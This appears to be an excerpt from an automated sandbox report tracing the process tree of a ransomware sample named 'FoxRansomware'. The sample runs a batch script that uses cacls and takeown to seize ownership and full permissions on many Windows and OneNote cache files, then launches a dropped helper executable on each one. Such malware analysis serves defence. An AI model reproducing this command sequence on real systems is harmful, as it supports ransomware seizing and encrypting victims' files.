C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db-shm"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "ActivitiesCache.db-shm" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "ActivitiesCache.db-shm" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "overlay.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "overlay.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\ja-JP\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.4fb6fa58-450c-4446-a093-213ebe35d29c.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\WuProvider.4fb6fa58-450c-4446-a093-213ebe35d29c.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.4fb6fa58-450c-4446-a093-213ebe35d29c.1.etl"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "WuProvider.4fb6fa58-450c-4446-a093-213ebe35d29c.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "WuProvider.4fb6fa58-450c-4446-a093-213ebe35d29c.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftInternetExplorer2013Backup.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftInternetExplorer2013Backup.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Office365Win64.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2013Office365Win64.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOutlook2016CAWin64.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOutlook2016CAWin64.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013.xsd"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "SettingsLocationTemplate2013.xsd" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.9597c6cc-2302-4ae3-a665-e851ed2a5ca1.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.9597c6cc-2302-4ae3-a665-e851ed2a5ca1.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.9597c6cc-2302-4ae3-a665-e851ed2a5ca1.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "UpdateSessionOrchestration.9597c6cc-2302-4ae3-a665-e851ed2a5ca1.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "UpdateSessionOrchestration.9597c6cc-2302-4ae3-a665-e851ed2a5ca1.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000C.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000C.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000O.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000O.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000012.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000012.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000012.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000056.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000056.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000072.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000072.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000072.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000007C.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000007C.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000007M.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000007M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000008L.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000008L.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000091.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000091.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000091.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000091.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000091.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009M.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000009M.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000009M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A7.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000A7.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000A7.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.6f1ab0b2-003e-43f6-8045-354a76feae40.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.6f1ab0b2-003e-43f6-8045-354a76feae40.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.6f1ab0b2-003e-43f6-8045-354a76feae40.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "UpdateSessionOrchestration.6f1ab0b2-003e-43f6-8045-354a76feae40.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "UpdateSessionOrchestration.6f1ab0b2-003e-43f6-8045-354a76feae40.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "background.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "background.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "tasks.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "tasks.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000008.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000008.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000M.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000010.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000010.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000054.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000054.bin" -nobanner4⤵
-
-
-
